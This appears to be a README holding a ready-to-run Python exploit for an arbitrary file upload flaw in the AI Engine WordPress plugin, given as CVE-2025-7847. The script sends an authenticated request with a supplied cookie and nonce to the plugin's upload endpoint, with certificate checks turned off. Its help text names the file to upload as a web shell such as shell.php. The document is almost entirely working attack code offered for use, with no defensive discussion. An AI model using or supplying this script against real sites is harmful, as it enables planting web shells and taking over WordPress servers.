README.md
Rendering markdown...
import requests
import argparse
import os
from urllib.parse import urljoin
def upload_file(base_url, cookie, nonce, file_path):
endpoint = base_url.rstrip('/') + "/wp-json/mwai/v1/simpleFileUpload"
if not os.path.isfile(file_path):
print(f"[!] File not found: {file_path}")
return
files = {'file': open(file_path, 'rb')}
headers = {
'User-Agent': 'Mozilla/5.0',
'Accept': 'application/json',
'X-WP-Nonce': nonce,
'X-Requested-With': 'XMLHttpRequest',
'Referer': base_url.rstrip('/') + "/wp-admin/admin.php?page=mwai_settings",
'Origin': base_url
}
cookies = dict([c.strip().split("=", 1) for c in cookie.split(";") if "=" in c])
print("[*] Sending upload request to:", endpoint)
response = requests.post(endpoint, headers=headers, cookies=cookies, files=files, verify=False)
if response.status_code == 200 and 'success' in response.text:
json_data = response.json()
print("[+] Exploit succeeded!")
print("[-] File uploaded to:", json_data['data']['url'].replace('\\/', '/'))
else:
print("[!] Exploit failed.")
print("[-] Response code:", response.status_code)
print("[-] Response body:", response.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for AI Engine WordPress plugin Arbitrary File Upload (CVE-2025-7847)")
parser.add_argument('--url', required=True, help='Target base URL (e.g. http://localhost/wordpress)')
parser.add_argument('--cookie', required=True, help='Full Cookie string (e.g. \"wordpress_logged_in_xxx=...; PHPSESSID=...\")')
parser.add_argument('--nonce', required=True, help='X-WP-Nonce value')
parser.add_argument('--file', required=True, help='Path to shell file (e.g. shell.php)')
args = parser.parse_args()
upload_file(args.url, args.cookie, args.nonce, args.file)